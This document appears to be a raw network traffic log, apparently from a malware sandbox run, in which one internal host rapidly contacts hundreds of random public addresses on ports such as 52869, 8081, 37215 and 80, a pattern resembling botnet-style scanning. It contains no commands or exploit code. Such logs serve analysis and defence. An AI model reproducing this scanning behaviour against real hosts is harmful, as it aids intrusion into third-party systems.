Jul 20, 2024 23:10:38.063169003 CEST	80	58774	95.34.220.161	192.168.2.15
Jul 20, 2024 23:10:38.063170910 CEST	52869	58771	51.142.241.249	192.168.2.15
Jul 20, 2024 23:10:38.063175917 CEST	52869	58771	166.13.121.235	192.168.2.15
Jul 20, 2024 23:10:38.063180923 CEST	52869	58771	137.181.116.99	192.168.2.15
Jul 20, 2024 23:10:38.063182116 CEST	80	58774	95.255.251.238	192.168.2.15
Jul 20, 2024 23:10:38.063183069 CEST	52869	58771	152.88.169.23	192.168.2.15
Jul 20, 2024 23:10:38.063184977 CEST	52869	58771	152.83.179.235	192.168.2.15
Jul 20, 2024 23:10:38.063189030 CEST	52869	58771	89.125.200.172	192.168.2.15
Jul 20, 2024 23:10:38.063194036 CEST	52869	58771	206.241.149.22	192.168.2.15
Jul 20, 2024 23:10:38.063203096 CEST	52869	58771	58.62.230.225	192.168.2.15
Jul 20, 2024 23:10:38.063208103 CEST	52869	58771	122.56.234.56	192.168.2.15
Jul 20, 2024 23:10:38.063211918 CEST	52869	58771	130.144.227.95	192.168.2.15
Jul 20, 2024 23:10:38.063218117 CEST	52869	58771	98.176.79.31	192.168.2.15
Jul 20, 2024 23:10:38.063222885 CEST	52869	58771	61.70.108.93	192.168.2.15
Jul 20, 2024 23:10:38.063225985 CEST	52869	58771	63.166.183.109	192.168.2.15
Jul 20, 2024 23:10:38.063230038 CEST	80	58774	95.55.155.232	192.168.2.15
Jul 20, 2024 23:10:38.063235044 CEST	52869	58771	133.149.133.59	192.168.2.15
Jul 20, 2024 23:10:38.063235998 CEST	80	58774	95.16.194.91	192.168.2.15
Jul 20, 2024 23:10:38.063236952 CEST	52869	58771	150.183.103.229	192.168.2.15
Jul 20, 2024 23:10:38.063237906 CEST	52869	58771	4.38.11.211	192.168.2.15
Jul 20, 2024 23:10:38.063244104 CEST	52869	58771	141.95.91.69	192.168.2.15
Jul 20, 2024 23:10:38.063249111 CEST	8081	58768	112.141.62.36	192.168.2.15
Jul 20, 2024 23:10:38.063255072 CEST	52869	58771	65.111.241.64	192.168.2.15
Jul 20, 2024 23:10:38.063267946 CEST	52869	58771	75.75.101.226	192.168.2.15
Jul 20, 2024 23:10:38.063273907 CEST	52869	58771	107.125.125.241	192.168.2.15
Jul 20, 2024 23:10:38.063275099 CEST	8081	58768	5.236.201.195	192.168.2.15
Jul 20, 2024 23:10:38.063276052 CEST	52869	58771	82.236.164.44	192.168.2.15
Jul 20, 2024 23:10:38.063281059 CEST	52869	58771	91.17.32.135	192.168.2.15
Jul 20, 2024 23:10:38.063286066 CEST	52869	58771	221.87.145.67	192.168.2.15
Jul 20, 2024 23:10:38.063291073 CEST	52869	58771	217.68.79.254	192.168.2.15
Jul 20, 2024 23:10:38.063296080 CEST	8081	58768	71.79.240.251	192.168.2.15
Jul 20, 2024 23:10:38.063301086 CEST	52869	39574	112.183.31.205	192.168.2.15
Jul 20, 2024 23:10:38.063306093 CEST	52869	58771	205.4.80.251	192.168.2.15
Jul 20, 2024 23:10:38.063311100 CEST	52869	58771	35.147.46.73	192.168.2.15
Jul 20, 2024 23:10:38.063316107 CEST	80	58774	95.23.237.213	192.168.2.15
Jul 20, 2024 23:10:38.063321114 CEST	52869	58771	69.107.137.235	192.168.2.15
Jul 20, 2024 23:10:38.063325882 CEST	52869	58771	72.81.127.114	192.168.2.15
Jul 20, 2024 23:10:38.063328028 CEST	52869	58771	174.137.69.132	192.168.2.15
Jul 20, 2024 23:10:38.063328981 CEST	52869	58771	143.93.180.142	192.168.2.15
Jul 20, 2024 23:10:38.063328981 CEST	80	58774	95.255.5.198	192.168.2.15
Jul 20, 2024 23:10:38.063332081 CEST	8081	58768	103.115.176.230	192.168.2.15
Jul 20, 2024 23:10:38.063337088 CEST	8081	58768	27.136.30.187	192.168.2.15
Jul 20, 2024 23:10:38.063342094 CEST	52869	58771	151.89.245.56	192.168.2.15
Jul 20, 2024 23:10:38.063347101 CEST	52869	58771	189.124.255.91	192.168.2.15
Jul 20, 2024 23:10:38.063349962 CEST	52869	58771	205.34.106.177	192.168.2.15
Jul 20, 2024 23:10:38.063350916 CEST	52869	58771	9.84.151.216	192.168.2.15
Jul 20, 2024 23:10:38.063350916 CEST	52869	58771	41.126.80.125	192.168.2.15
Jul 20, 2024 23:10:38.063353062 CEST	8081	58768	154.0.251.171	192.168.2.15
Jul 20, 2024 23:10:38.063354015 CEST	80	58774	95.81.205.168	192.168.2.15
Jul 20, 2024 23:10:38.063358068 CEST	52869	58771	175.170.14.232	192.168.2.15
Jul 20, 2024 23:10:38.063361883 CEST	80	58774	95.40.133.140	192.168.2.15
Jul 20, 2024 23:10:38.063365936 CEST	52869	58771	167.252.38.240	192.168.2.15
Jul 20, 2024 23:10:38.063368082 CEST	52869	58771	146.21.26.221	192.168.2.15
Jul 20, 2024 23:10:38.063369036 CEST	8081	58768	123.114.66.211	192.168.2.15
Jul 20, 2024 23:10:38.063369989 CEST	8081	58768	207.213.111.37	192.168.2.15
Jul 20, 2024 23:10:38.063374043 CEST	52869	58771	197.203.158.81	192.168.2.15
Jul 20, 2024 23:10:38.063379049 CEST	80	58774	95.49.36.47	192.168.2.15
Jul 20, 2024 23:10:38.063383102 CEST	52869	58771	189.205.131.211	192.168.2.15
Jul 20, 2024 23:10:38.063388109 CEST	8081	58768	168.201.211.200	192.168.2.15
Jul 20, 2024 23:10:38.063393116 CEST	52869	58771	137.50.154.194	192.168.2.15
Jul 20, 2024 23:10:38.063397884 CEST	52869	58771	31.86.54.207	192.168.2.15
Jul 20, 2024 23:10:38.063402891 CEST	8081	58768	178.180.81.2	192.168.2.15
Jul 20, 2024 23:10:38.063407898 CEST	52869	58771	32.103.58.2	192.168.2.15
Jul 20, 2024 23:10:38.063412905 CEST	52869	58771	172.58.208.79	192.168.2.15
Jul 20, 2024 23:10:38.063416958 CEST	8081	58768	88.234.90.110	192.168.2.15
Jul 20, 2024 23:10:38.063419104 CEST	52869	58771	114.22.68.148	192.168.2.15
Jul 20, 2024 23:10:38.063424110 CEST	52869	58771	84.223.0.239	192.168.2.15
Jul 20, 2024 23:10:38.063427925 CEST	8081	58768	77.72.128.161	192.168.2.15
Jul 20, 2024 23:10:38.063430071 CEST	80	58774	95.234.92.116	192.168.2.15
Jul 20, 2024 23:10:38.063431978 CEST	8081	58768	209.188.20.228	192.168.2.15
Jul 20, 2024 23:10:38.063436031 CEST	52869	58771	181.104.210.179	192.168.2.15
Jul 20, 2024 23:10:38.063441038 CEST	8081	58768	139.183.85.37	192.168.2.15
Jul 20, 2024 23:10:38.063442945 CEST	52869	58771	137.252.149.152	192.168.2.15
Jul 20, 2024 23:10:38.063442945 CEST	52869	58771	83.83.236.240	192.168.2.15
Jul 20, 2024 23:10:38.063446045 CEST	52869	58771	93.191.225.165	192.168.2.15
Jul 20, 2024 23:10:38.063452005 CEST	52869	58771	92.124.10.135	192.168.2.15
Jul 20, 2024 23:10:38.063456059 CEST	52869	58771	17.216.149.19	192.168.2.15
Jul 20, 2024 23:10:38.063457012 CEST	52869	58771	190.188.31.68	192.168.2.15
Jul 20, 2024 23:10:38.063457966 CEST	80	58774	95.176.2.206	192.168.2.15
Jul 20, 2024 23:10:38.063461065 CEST	52869	58771	206.206.53.42	192.168.2.15
Jul 20, 2024 23:10:38.063465118 CEST	80	58774	95.228.34.215	192.168.2.15
Jul 20, 2024 23:10:38.063469887 CEST	52869	58771	152.73.181.59	192.168.2.15
Jul 20, 2024 23:10:38.063474894 CEST	52869	58771	165.66.142.184	192.168.2.15
Jul 20, 2024 23:10:38.063476086 CEST	8081	58768	128.105.18.127	192.168.2.15
Jul 20, 2024 23:10:38.063476086 CEST	52869	58771	164.116.121.251	192.168.2.15
Jul 20, 2024 23:10:38.063478947 CEST	52869	58771	140.11.62.100	192.168.2.15
Jul 20, 2024 23:10:38.063481092 CEST	8081	58768	172.163.250.154	192.168.2.15
Jul 20, 2024 23:10:38.063489914 CEST	52869	58771	76.13.239.242	192.168.2.15
Jul 20, 2024 23:10:38.063500881 CEST	52869	58771	151.51.206.33	192.168.2.15
Jul 20, 2024 23:10:38.063508034 CEST	52869	58771	47.178.82.83	192.168.2.15
Jul 20, 2024 23:10:38.063510895 CEST	52869	58771	171.252.174.113	192.168.2.15
Jul 20, 2024 23:10:38.063514948 CEST	52869	58771	195.69.176.100	192.168.2.15
Jul 20, 2024 23:10:38.063522100 CEST	52869	58771	125.75.216.186	192.168.2.15
Jul 20, 2024 23:10:38.063527107 CEST	52869	58771	68.135.152.100	192.168.2.15
Jul 20, 2024 23:10:38.063532114 CEST	52869	58771	80.227.166.108	192.168.2.15
Jul 20, 2024 23:10:38.063536882 CEST	52869	58771	204.86.28.228	192.168.2.15
Jul 20, 2024 23:10:38.063538074 CEST	52869	58771	103.3.80.181	192.168.2.15
Jul 20, 2024 23:10:38.063544035 CEST	52869	58771	212.192.65.223	192.168.2.15
Jul 20, 2024 23:10:38.063549995 CEST	52869	58771	23.25.24.120	192.168.2.15
Jul 20, 2024 23:10:38.063550949 CEST	52869	58771	186.63.232.221	192.168.2.15
Jul 20, 2024 23:10:38.063551903 CEST	8081	58768	37.37.110.152	192.168.2.15
Jul 20, 2024 23:10:38.063555956 CEST	80	58774	95.47.233.185	192.168.2.15
Jul 20, 2024 23:10:38.063559055 CEST	52869	58771	58.26.123.78	192.168.2.15
Jul 20, 2024 23:10:38.063565016 CEST	80	58774	95.192.119.199	192.168.2.15
Jul 20, 2024 23:10:38.063570976 CEST	80	58774	95.114.65.67	192.168.2.15
Jul 20, 2024 23:10:38.063575983 CEST	52869	58771	81.47.30.117	192.168.2.15
Jul 20, 2024 23:10:38.063580990 CEST	52869	58771	73.27.52.96	192.168.2.15
Jul 20, 2024 23:10:38.063585997 CEST	52869	58771	117.1.139.113	192.168.2.15
Jul 20, 2024 23:10:38.063591003 CEST	52869	58771	193.96.128.134	192.168.2.15
Jul 20, 2024 23:10:38.063596010 CEST	52869	58771	113.194.192.53	192.168.2.15
Jul 20, 2024 23:10:38.063601017 CEST	80	58774	95.68.73.234	192.168.2.15
Jul 20, 2024 23:10:38.063606024 CEST	52869	58771	184.57.25.100	192.168.2.15
Jul 20, 2024 23:10:38.063611031 CEST	52869	58771	40.135.168.5	192.168.2.15
Jul 20, 2024 23:10:38.063618898 CEST	80	58774	95.117.212.184	192.168.2.15
Jul 20, 2024 23:10:38.063623905 CEST	80	58774	95.253.35.203	192.168.2.15
Jul 20, 2024 23:10:38.063626051 CEST	52869	58771	201.222.116.89	192.168.2.15
Jul 20, 2024 23:10:38.063626051 CEST	52869	58771	141.82.149.128	192.168.2.15
Jul 20, 2024 23:10:38.063631058 CEST	52869	58771	36.73.180.242	192.168.2.15
Jul 20, 2024 23:10:38.063636065 CEST	8081	58768	134.164.6.159	192.168.2.15
Jul 20, 2024 23:10:38.063641071 CEST	80	58774	95.209.33.145	192.168.2.15
Jul 20, 2024 23:10:38.063644886 CEST	52869	58771	32.234.228.218	192.168.2.15
Jul 20, 2024 23:10:38.063651085 CEST	52869	58771	146.216.92.73	192.168.2.15
Jul 20, 2024 23:10:38.063657045 CEST	8081	58768	121.2.122.145	192.168.2.15
Jul 20, 2024 23:10:38.063661098 CEST	8081	58768	60.124.72.202	192.168.2.15
Jul 20, 2024 23:10:38.063664913 CEST	52869	58771	171.231.108.7	192.168.2.15
Jul 20, 2024 23:10:38.063669920 CEST	8081	58768	1.165.182.79	192.168.2.15
Jul 20, 2024 23:10:38.063674927 CEST	52869	58771	36.88.191.195	192.168.2.15
Jul 20, 2024 23:10:38.063679934 CEST	80	58774	95.102.164.122	192.168.2.15
Jul 20, 2024 23:10:38.063684940 CEST	8081	58768	124.197.15.151	192.168.2.15
Jul 20, 2024 23:10:38.063690901 CEST	52869	58771	78.210.211.43	192.168.2.15
Jul 20, 2024 23:10:38.063694954 CEST	8081	58768	35.249.50.60	192.168.2.15
Jul 20, 2024 23:10:38.063699961 CEST	52869	58771	196.201.138.235	192.168.2.15
Jul 20, 2024 23:10:38.063708067 CEST	52869	58771	220.191.177.7	192.168.2.15
Jul 20, 2024 23:10:38.063713074 CEST	52869	58771	159.217.41.116	192.168.2.15
Jul 20, 2024 23:10:38.063714981 CEST	52869	58771	171.231.168.29	192.168.2.15
Jul 20, 2024 23:10:38.063716888 CEST	8081	58768	45.212.82.207	192.168.2.15
Jul 20, 2024 23:10:38.063721895 CEST	52869	58771	188.164.181.53	192.168.2.15
Jul 20, 2024 23:10:38.063728094 CEST	8081	58768	194.94.54.191	192.168.2.15
Jul 20, 2024 23:10:38.063733101 CEST	52869	58771	172.159.6.166	192.168.2.15
Jul 20, 2024 23:10:38.063738108 CEST	52869	58771	207.255.252.48	192.168.2.15
Jul 20, 2024 23:10:38.063739061 CEST	80	58774	95.134.137.189	192.168.2.15
Jul 20, 2024 23:10:38.063740969 CEST	52869	58771	207.221.156.23	192.168.2.15
Jul 20, 2024 23:10:38.063741922 CEST	52869	58771	42.199.77.211	192.168.2.15
Jul 20, 2024 23:10:38.063743114 CEST	52869	58771	186.33.46.27	192.168.2.15
Jul 20, 2024 23:10:38.063744068 CEST	52869	58771	48.6.82.187	192.168.2.15
Jul 20, 2024 23:10:38.063745975 CEST	52869	58771	129.172.253.21	192.168.2.15
Jul 20, 2024 23:10:38.063746929 CEST	8081	58768	92.131.124.215	192.168.2.15
Jul 20, 2024 23:10:38.063750029 CEST	52869	58771	202.60.177.77	192.168.2.15
Jul 20, 2024 23:10:38.063755035 CEST	8081	58768	23.77.231.157	192.168.2.15
Jul 20, 2024 23:10:38.063755989 CEST	80	58774	95.213.137.174	192.168.2.15
Jul 20, 2024 23:10:38.063756943 CEST	52869	58771	54.58.215.49	192.168.2.15
Jul 20, 2024 23:10:38.063766003 CEST	8081	58768	12.184.69.157	192.168.2.15
Jul 20, 2024 23:10:38.063771963 CEST	52869	58771	157.64.60.160	192.168.2.15
Jul 20, 2024 23:10:38.063772917 CEST	52869	58771	212.138.26.228	192.168.2.15
Jul 20, 2024 23:10:38.063776970 CEST	52869	58771	45.23.212.169	192.168.2.15
Jul 20, 2024 23:10:38.063783884 CEST	8081	58768	166.196.119.74	192.168.2.15
Jul 20, 2024 23:10:38.063788891 CEST	8081	58768	58.191.33.106	192.168.2.15
Jul 20, 2024 23:10:38.063791037 CEST	8081	58768	76.216.125.199	192.168.2.15
Jul 20, 2024 23:10:38.063796043 CEST	52869	58771	124.214.122.143	192.168.2.15
Jul 20, 2024 23:10:38.063801050 CEST	8081	58768	93.70.33.186	192.168.2.15
Jul 20, 2024 23:10:38.063807011 CEST	52869	58771	167.56.218.101	192.168.2.15
Jul 20, 2024 23:10:38.063811064 CEST	8081	58768	110.252.170.23	192.168.2.15
Jul 20, 2024 23:10:38.063816071 CEST	52869	58771	184.25.222.95	192.168.2.15
Jul 20, 2024 23:10:38.063821077 CEST	37215	38056	157.113.132.47	192.168.2.15
Jul 20, 2024 23:10:38.063826084 CEST	80	58774	95.227.229.254	192.168.2.15
Jul 20, 2024 23:10:38.063832045 CEST	52869	58771	113.71.202.232	192.168.2.15
Jul 20, 2024 23:10:38.063837051 CEST	52869	58771	181.94.205.45	192.168.2.15
Jul 20, 2024 23:10:38.063838005 CEST	52869	58771	118.123.223.170	192.168.2.15
Jul 20, 2024 23:10:38.063841105 CEST	8081	58768	119.17.237.122	192.168.2.15
Jul 20, 2024 23:10:38.063844919 CEST	52869	58771	100.146.176.21	192.168.2.15
Jul 20, 2024 23:10:38.063848972 CEST	8081	58768	134.133.53.230	192.168.2.15
Jul 20, 2024 23:10:38.063853979 CEST	52869	58771	211.31.20.64	192.168.2.15
Jul 20, 2024 23:10:38.063858032 CEST	8081	58768	8.97.99.44	192.168.2.15
Jul 20, 2024 23:10:38.063864946 CEST	52869	58771	95.119.25.77	192.168.2.15
Jul 20, 2024 23:10:38.063868999 CEST	52869	58771	44.63.80.106	192.168.2.15
Jul 20, 2024 23:10:38.063872099 CEST	8081	58768	188.151.70.25	192.168.2.15
Jul 20, 2024 23:10:38.063874006 CEST	52869	58771	83.119.48.230	192.168.2.15
Jul 20, 2024 23:10:38.063879013 CEST	8081	58768	31.126.210.103	192.168.2.15
Jul 20, 2024 23:10:38.063883066 CEST	52869	58771	104.219.113.114	192.168.2.15
Jul 20, 2024 23:10:38.063889027 CEST	80	58774	95.111.105.192	192.168.2.15
Jul 20, 2024 23:10:38.063894033 CEST	8081	58768	102.83.19.8	192.168.2.15
Jul 20, 2024 23:10:38.063899040 CEST	52869	58771	35.177.241.68	192.168.2.15
Jul 20, 2024 23:10:38.063905001 CEST	52869	58771	181.167.10.18	192.168.2.15
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	183.26.88.8
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	159.13.147.255
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	14.149.180.65
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	45.20.218.125
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	111.168.238.252
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	24.217.87.10
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	221.249.56.0
Jul 20, 2024 23:10:38.063905954 CEST	58771	52869	192.168.2.15	87.94.167.126
Jul 20, 2024 23:10:38.063910007 CEST	80	58774	95.26.252.244	192.168.2.15
Jul 20, 2024 23:10:38.063915014 CEST	52869	58771	163.143.231.68	192.168.2.15
Jul 20, 2024 23:10:38.063915968 CEST	80	58774	95.29.248.38	192.168.2.15
Jul 20, 2024 23:10:38.063920021 CEST	52869	58771	87.200.167.49	192.168.2.15
Jul 20, 2024 23:10:38.063925028 CEST	8081	58768	220.201.59.19	192.168.2.15
Jul 20, 2024 23:10:38.063930988 CEST	52869	58771	62.195.96.7	192.168.2.15
Jul 20, 2024 23:10:38.063936949 CEST	52869	58771	119.161.150.195	192.168.2.15
Jul 20, 2024 23:10:38.063941956 CEST	8081	58768	151.249.233.168	192.168.2.15
Jul 20, 2024 23:10:38.063946009 CEST	80	58774	95.75.138.113	192.168.2.15
Jul 20, 2024 23:10:38.063951969 CEST	52869	58771	14.77.95.139	192.168.2.15
Jul 20, 2024 23:10:38.063957930 CEST	8081	58768	167.119.104.95	192.168.2.15
Jul 20, 2024 23:10:38.063963890 CEST	8081	58768	67.239.118.12	192.168.2.15
Jul 20, 2024 23:10:38.063970089 CEST	52869	58771	37.137.191.169	192.168.2.15
Jul 20, 2024 23:10:38.063973904 CEST	8081	58768	197.232.27.44	192.168.2.15
Jul 20, 2024 23:10:38.063975096 CEST	8081	58768	165.246.67.86	192.168.2.15
Jul 20, 2024 23:10:38.063976049 CEST	52869	58771	118.54.166.85	192.168.2.15
Jul 20, 2024 23:10:38.063978910 CEST	8081	58768	1.218.210.171	192.168.2.15
Jul 20, 2024 23:10:38.063983917 CEST	80	58774	95.37.198.112	192.168.2.15
Jul 20, 2024 23:10:38.063990116 CEST	52869	58771	223.99.118.119	192.168.2.15
Jul 20, 2024 23:10:38.063993931 CEST	8081	58768	151.151.7.19	192.168.2.15
Jul 20, 2024 23:10:38.063996077 CEST	80	58774	95.135.5.61	192.168.2.15
Jul 20, 2024 23:10:38.063997030 CEST	52869	58771	14.180.187.102	192.168.2.15
Jul 20, 2024 23:10:38.063999891 CEST	52869	58771	75.206.67.83	192.168.2.15
Jul 20, 2024 23:10:38.064004898 CEST	8081	58768	72.221.2.74	192.168.2.15
Jul 20, 2024 23:10:38.064009905 CEST	52869	58771	185.183.75.243	192.168.2.15
Jul 20, 2024 23:10:38.064011097 CEST	52869	58771	211.246.19.85	192.168.2.15
Jul 20, 2024 23:10:38.064014912 CEST	8081	58768	138.57.169.79	192.168.2.15
Jul 20, 2024 23:10:38.064022064 CEST	52869	58771	69.162.114.57	192.168.2.15
Jul 20, 2024 23:10:38.064027071 CEST	52869	58771	121.208.247.54	192.168.2.15
Jul 20, 2024 23:10:38.064028025 CEST	52869	58771	72.158.132.179	192.168.2.15
Jul 20, 2024 23:10:38.064030886 CEST	52869	58771	64.48.135.137	192.168.2.15
Jul 20, 2024 23:10:38.064037085 CEST	52869	58771	183.243.215.69	192.168.2.15
Jul 20, 2024 23:10:38.064064980 CEST	8081	58768	60.34.129.154	192.168.2.15
Jul 20, 2024 23:10:38.064069986 CEST	8081	58768	12.14.90.31	192.168.2.15
Jul 20, 2024 23:10:38.064070940 CEST	80	58774	95.142.37.6	192.168.2.15
Jul 20, 2024 23:10:38.064074039 CEST	8081	58768	180.46.213.110	192.168.2.15
Jul 20, 2024 23:10:38.064079046 CEST	8081	58768	139.175.143.49	192.168.2.15
Jul 20, 2024 23:10:38.064084053 CEST	8081	58768	223.254.115.248	192.168.2.15
Jul 20, 2024 23:10:38.064089060 CEST	8081	58768	93.174.192.195	192.168.2.15
Jul 20, 2024 23:10:38.064093113 CEST	8081	58768	131.114.91.37	192.168.2.15
Jul 20, 2024 23:10:38.064097881 CEST	8081	58768	221.83.195.3	192.168.2.15
Jul 20, 2024 23:10:38.064104080 CEST	8081	58768	52.98.96.34	192.168.2.15
Jul 20, 2024 23:10:38.064110041 CEST	8081	58768	168.18.75.42	192.168.2.15
Jul 20, 2024 23:10:38.064120054 CEST	80	58774	95.31.67.112	192.168.2.15
Jul 20, 2024 23:10:38.064126015 CEST	8081	58768	194.115.4.180	192.168.2.15
Jul 20, 2024 23:10:38.064127922 CEST	8081	58768	37.22.115.161	192.168.2.15
Jul 20, 2024 23:10:38.064131975 CEST	8081	58768	201.107.231.59	192.168.2.15
Jul 20, 2024 23:10:38.064136982 CEST	8081	58768	223.128.62.173	192.168.2.15
Jul 20, 2024 23:10:38.064141035 CEST	8081	58768	196.100.194.107	192.168.2.15
Jul 20, 2024 23:10:38.064146042 CEST	8081	58768	129.236.195.158	192.168.2.15
Jul 20, 2024 23:10:38.064152002 CEST	8081	58768	97.51.32.192	192.168.2.15
Jul 20, 2024 23:10:38.064157009 CEST	8081	58768	201.76.89.19	192.168.2.15
Jul 20, 2024 23:10:38.064162016 CEST	80	58774	95.140.80.153	192.168.2.15
Jul 20, 2024 23:10:38.064168930 CEST	8081	58768	158.157.180.226	192.168.2.15
Jul 20, 2024 23:10:38.064174891 CEST	8081	58768	178.143.162.12	192.168.2.15
Jul 20, 2024 23:10:38.064179897 CEST	8081	58768	77.125.4.254	192.168.2.15
Jul 20, 2024 23:10:38.064184904 CEST	8081	58768	220.50.177.20	192.168.2.15
Jul 20, 2024 23:10:38.064191103 CEST	8081	58768	205.102.152.118	192.168.2.15
Jul 20, 2024 23:10:38.064196110 CEST	80	58774	95.151.81.140	192.168.2.15
Jul 20, 2024 23:10:38.064201117 CEST	8081	58768	146.89.0.197	192.168.2.15
Jul 20, 2024 23:10:38.064208031 CEST	8081	58768	126.167.160.86	192.168.2.15
Jul 20, 2024 23:10:38.064213037 CEST	80	58774	95.106.5.54	192.168.2.15
Jul 20, 2024 23:10:38.064214945 CEST	8081	58768	104.119.162.84	192.168.2.15
Jul 20, 2024 23:10:38.064218044 CEST	8081	58768	148.247.203.223	192.168.2.15
Jul 20, 2024 23:10:38.064222097 CEST	80	58774	95.237.65.203	192.168.2.15
Jul 20, 2024 23:10:38.064229012 CEST	80	58774	95.34.149.166	192.168.2.15
Jul 20, 2024 23:10:38.064234018 CEST	80	58774	95.157.14.101	192.168.2.15
Jul 20, 2024 23:10:38.064235926 CEST	80	58774	95.199.228.162	192.168.2.15
Jul 20, 2024 23:10:38.064240932 CEST	80	58774	95.137.218.88	192.168.2.15
Jul 20, 2024 23:10:38.064244986 CEST	80	58774	95.74.169.22	192.168.2.15
Jul 20, 2024 23:10:38.064251900 CEST	80	58774	95.136.40.34	192.168.2.15
Jul 20, 2024 23:10:38.064256907 CEST	80	58774	95.127.212.196	192.168.2.15
Jul 20, 2024 23:10:38.064260960 CEST	80	58774	95.65.158.11	192.168.2.15
Jul 20, 2024 23:10:38.064265013 CEST	80	58774	95.78.50.63	192.168.2.15
Jul 20, 2024 23:10:38.064269066 CEST	80	58774	95.240.4.197	192.168.2.15
Jul 20, 2024 23:10:38.064274073 CEST	80	58774	95.91.119.142	192.168.2.15
Jul 20, 2024 23:10:38.064277887 CEST	80	58774	95.168.235.196	192.168.2.15
Jul 20, 2024 23:10:38.064282894 CEST	80	58774	95.41.189.152	192.168.2.15
Jul 20, 2024 23:10:38.064286947 CEST	80	58774	95.18.182.110	192.168.2.15
Jul 20, 2024 23:10:38.064291000 CEST	80	58774	95.84.13.204	192.168.2.15
Jul 20, 2024 23:10:38.064296007 CEST	80	58774	95.200.239.191	192.168.2.15
Jul 20, 2024 23:10:38.064300060 CEST	80	58774	95.190.181.55	192.168.2.15
Jul 20, 2024 23:10:38.064305067 CEST	80	58774	95.22.5.166	192.168.2.15
Jul 20, 2024 23:10:38.064308882 CEST	80	58774	95.75.10.42	192.168.2.15
Jul 20, 2024 23:10:38.064313889 CEST	80	58774	95.81.63.102	192.168.2.15
Jul 20, 2024 23:10:38.064315081 CEST	80	58774	95.177.203.131	192.168.2.15
Jul 20, 2024 23:10:38.064316034 CEST	80	58774	95.161.7.226	192.168.2.15
Jul 20, 2024 23:10:38.064316034 CEST	80	58774	95.25.201.213	192.168.2.15
Jul 20, 2024 23:10:38.064316988 CEST	80	58774	95.31.158.196	192.168.2.15
Jul 20, 2024 23:10:38.064317942 CEST	80	58774	95.150.237.219	192.168.2.15
Jul 20, 2024 23:10:38.064318895 CEST	80	58774	95.87.89.89	192.168.2.15
Jul 20, 2024 23:10:38.064320087 CEST	80	58774	95.199.28.44	192.168.2.15
Jul 20, 2024 23:10:38.064321041 CEST	80	58774	95.65.42.117	192.168.2.15
Jul 20, 2024 23:10:38.064321041 CEST	80	58774	95.83.59.143	192.168.2.15
Jul 20, 2024 23:10:38.064326048 CEST	80	58774	95.6.228.38	192.168.2.15
Jul 20, 2024 23:10:38.064327002 CEST	80	58774	95.41.183.63	192.168.2.15
Jul 20, 2024 23:10:38.064336061 CEST	80	58774	95.1.69.246	192.168.2.15
Jul 20, 2024 23:10:38.064341068 CEST	80	58774	95.175.29.188	192.168.2.15
Jul 20, 2024 23:10:38.064342022 CEST	80	58774	95.213.64.154	192.168.2.15
Jul 20, 2024 23:10:38.064342976 CEST	80	58774	95.74.18.218	192.168.2.15
Jul 20, 2024 23:10:38.064349890 CEST	80	58774	95.152.83.1	192.168.2.15
Jul 20, 2024 23:10:38.064362049 CEST	80	58774	95.216.5.10	192.168.2.15
Jul 20, 2024 23:10:38.064373970 CEST	80	58774	95.181.217.178	192.168.2.15
Jul 20, 2024 23:10:38.064385891 CEST	80	58774	95.76.48.246	192.168.2.15
Jul 20, 2024 23:10:38.064397097 CEST	80	58774	95.22.144.218	192.168.2.15
Jul 20, 2024 23:10:38.064408064 CEST	80	58774	95.95.44.63	192.168.2.15
Jul 20, 2024 23:10:38.064420938 CEST	80	58774	95.136.129.142	192.168.2.15
Jul 20, 2024 23:10:38.064433098 CEST	80	58774	95.89.166.132	192.168.2.15
Jul 20, 2024 23:10:38.064445019 CEST	80	58774	95.153.111.186	192.168.2.15
Jul 20, 2024 23:10:38.064456940 CEST	80	58774	95.246.124.10	192.168.2.15
Jul 20, 2024 23:10:38.064469099 CEST	80	58774	95.182.77.252	192.168.2.15
Jul 20, 2024 23:10:38.064490080 CEST	80	58774	95.176.104.201	192.168.2.15
Jul 20, 2024 23:10:38.064502001 CEST	80	58774	95.199.23.2	192.168.2.15
Jul 20, 2024 23:10:38.064513922 CEST	80	58774	95.237.27.40	192.168.2.15
Jul 20, 2024 23:10:38.064526081 CEST	80	58774	95.145.228.20	192.168.2.15
Jul 20, 2024 23:10:38.064537048 CEST	80	58774	95.117.33.11	192.168.2.15
Jul 20, 2024 23:10:38.064548969 CEST	80	58774	95.152.160.194	192.168.2.15
Jul 20, 2024 23:10:38.064560890 CEST	80	58774	95.181.68.148	192.168.2.15
Jul 20, 2024 23:10:38.064572096 CEST	80	58774	95.89.213.149	192.168.2.15
Jul 20, 2024 23:10:38.064583063 CEST	80	58774	95.47.167.67	192.168.2.15
Jul 20, 2024 23:10:38.064595938 CEST	80	58774	95.223.214.169	192.168.2.15
Jul 20, 2024 23:10:38.064614058 CEST	80	58774	95.249.234.201	192.168.2.15
Jul 20, 2024 23:10:38.064625978 CEST	80	58774	95.67.168.175	192.168.2.15
Jul 20, 2024 23:10:38.064637899 CEST	80	58774	95.7.7.107	192.168.2.15
Jul 20, 2024 23:10:38.064650059 CEST	80	58774	95.111.178.94	192.168.2.15
Jul 20, 2024 23:10:38.064661980 CEST	80	58774	95.100.108.130	192.168.2.15
Jul 20, 2024 23:10:38.064673901 CEST	80	58774	95.17.52.252	192.168.2.15
Jul 20, 2024 23:10:38.064685106 CEST	80	58774	95.216.33.59	192.168.2.15
Jul 20, 2024 23:10:38.064697027 CEST	80	58774	95.186.103.30	192.168.2.15
Jul 20, 2024 23:10:38.064707994 CEST	80	58774	95.51.145.143	192.168.2.15
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	95.248.217.59
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	72.252.227.131
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	108.136.12.235
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	39.246.90.241
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	31.244.238.124
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	89.244.85.64
Jul 20, 2024 23:10:38.064713001 CEST	58771	52869	192.168.2.15	36.138.33.198
